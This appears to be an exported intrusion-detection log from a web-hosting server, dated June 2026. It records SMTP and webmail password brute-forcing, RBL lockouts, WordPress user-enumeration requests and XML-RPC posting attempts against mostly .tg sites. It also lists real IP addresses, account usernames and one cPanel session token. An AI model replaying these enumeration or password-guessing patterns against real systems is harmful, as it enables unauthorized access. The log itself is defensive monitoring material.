rule: 11000
name: Login failed on the cpanel service.
abuser: 14.242.71.227
country_id: 1562822
description:
[2026-06-12 06:05:42 +0000] info [webmaild] 14.242.71.227 - stephane@sitewebofficiel.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [12/Jun/2026:06:07:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803417&pdata=http%253A%252F%252Fmisstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244438 HTTP/1.1" 302 0 misstogo.tg "http://misstogo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:11:18 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:06:10:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515564&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244630 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [12/Jun/2026:06:10:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6605416&pdata=http%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244627 HTTP/1.1" 302 0 www.belali.tg "http://www.belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.146.235.226
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:66.146.235.226||TA:66.146.235.226||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:11:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.91.94
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/08/t\xc3\xa9l\xc3\xa9chargement-3.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.229.5.248
country_id: 3175395
description:
Jun 12 06:12:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.229.5.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.229.5.248
country_id: 3175395
description:
2026-06-12 06:12:56 dovecot_plain authenticator failed for H=host-95-229-5-248.business.telecomitalia.it (liatier) [95.229.5.248]:45702: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.96.80.75
country_id: 798549
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-baguida-1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:16:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (60.48.208.11) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.25
country_id: 2750405
description:
Jun 12 06:18:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.25
country_id: 2750405
description:
2026-06-12 06:18:35 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.25]:51841: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:052fe9b9dd35515ad011eb5e97c1093de350df5e||Title:fa84anerdets232o||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4ff991ddeef9a19612e426a7a581c5901ae1396b||Title:mghzgdad9v8f7e47||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 12 06:20:37 ns5 pure-ftpd[1330749]: (?@47.84.180.112) [WARNING] Authentication failed for user [mail.dany2.mairie.tg]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.83.180.238
country_id: 3469034
description:
170.83.180.238 - - [12/Jun/2026:06:20:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790362&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Felection-presidentielle-au-burundi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781245253 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/election-presidentielle-au-burundi/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5169.1472 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.83.180.238


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4705db34cc0eb9d3c8066f0e3d6bd9e5c1cfeeed||Title:ljetis5mprf948kg51||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.255.137.220
country_id: 1814991
description:
Jun 12 06:21:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.255.137.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.255.137.220
country_id: 1814991
description:
2026-06-12 06:21:30 dovecot_plain authenticator failed for H=(gwsnatsw9g5rnp0i171bu8btv65) [116.255.137.220]:1980: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:22:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [12/Jun/2026:06:24:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984553&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbac-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781245444 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bac-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:24:01 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.190.135.5
country_id: 1168579
domain: hotelyabisso.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15060.hotelyabisso.com||ServerName:hotelyabisso.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:498c660e44a081ec264d8ee59c22886dc3ca4105||Title:0x807df730||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 06:24:18 +0000] info [cpaneld] 78.135.61.227 NEW sadis:XedKnSg44puVHepd address=78.135.61.227,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:24:20 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:26:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: consult.sodigaz.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:25:29 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg "GET /webmail HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.51
country_id: 690791
description:
Jun 12 06:27:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:31:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:48844: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.172
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.134
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.157
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.155
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.173
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.159
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.17
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.169
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.164
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.171
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:34:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9432: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.172
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.166
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.212
country_id: 2963597
description:
Jun 12 06:38:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=lacs1.mairie.&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:39:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:40:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34654: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.173.128.223
country_id: 6252001
domain: chuso.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:107.173.128.223||TA:107.173.128.223||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:42:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45002: 535 Incorrect authentication data (set_id=reception@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:42:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25642: 535 Incorrect authentication data (set_id=charles@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:43:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37146: 535 Incorrect authentication data (set_id=person@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:43:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31088: 535 Incorrect authentication data (set_id=erin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1176: 535 Incorrect authentication data (set_id=temp123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:43:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4420: 535 Incorrect authentication data (set_id=charles@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:43:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35934: 535 Incorrect authentication data (set_id=serverts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57226: 535 Incorrect authentication data (set_id=temp123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:62056: 535 Incorrect authentication data (set_id=123123123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:44:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62540: 535 Incorrect authentication data (set_id=}admin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.21.229
country_id: 2017370
description:
Jun 12 06:44:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.21.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.21.229
country_id: 2017370
description:
2026-06-12 06:44:32 dovecot_login authenticator failed for H=([119.200.229.33]) [31.173.21.229]:46418: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:44:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23422: 535 Incorrect authentication data (set_id=figo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23158: 535 Incorrect authentication data (set_id=hirotada@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:44:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16322: 535 Incorrect authentication data (set_id=klaudia@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:45:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54826: 535 Incorrect authentication data (set_id=imprime@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:45:48 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:45:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:30288: 535 Incorrect authentication data (set_id=gvb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:45:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27392: 535 Incorrect authentication data (set_id=administrate@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:45:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25460: 535 Incorrect authentication data (set_id=eleanor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:45:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:24282: 535 Incorrect authentication data (set_id=ia@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:45:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57920: 535 Incorrect authentication data (set_id=ootsuka@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:46:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10838: 535 Incorrect authentication data (set_id=administrate@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:46:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31324: 535 Incorrect authentication data (set_id=1002@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22124: 535 Incorrect authentication data (set_id=agusia@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:46:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:46:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16498: 535 Incorrect authentication data (set_id=bettina@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:46:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51158: 535 Incorrect authentication data (set_id=video2@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:47:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46184: 535 Incorrect authentication data (set_id=flint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:46:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50318: 535 Incorrect authentication data (set_id=ralph@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:48:11 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:47:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13826: 535 Incorrect authentication data (set_id=geba@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:47:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:47:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56142: 535 Incorrect authentication data (set_id=testing123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:47:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49626: 535 Incorrect authentication data (set_id=wuxi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:47:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13892: 535 Incorrect authentication data (set_id=jamie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:47:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23490: 535 Incorrect authentication data (set_id=flint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:47:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46270: 535 Incorrect authentication data (set_id=bars@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:48:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:65068: 535 Incorrect authentication data (set_id=bug@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:48:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39934: 535 Incorrect authentication data (set_id=oohashi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:48:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:48:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5556: 535 Incorrect authentication data (set_id=rtorres@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
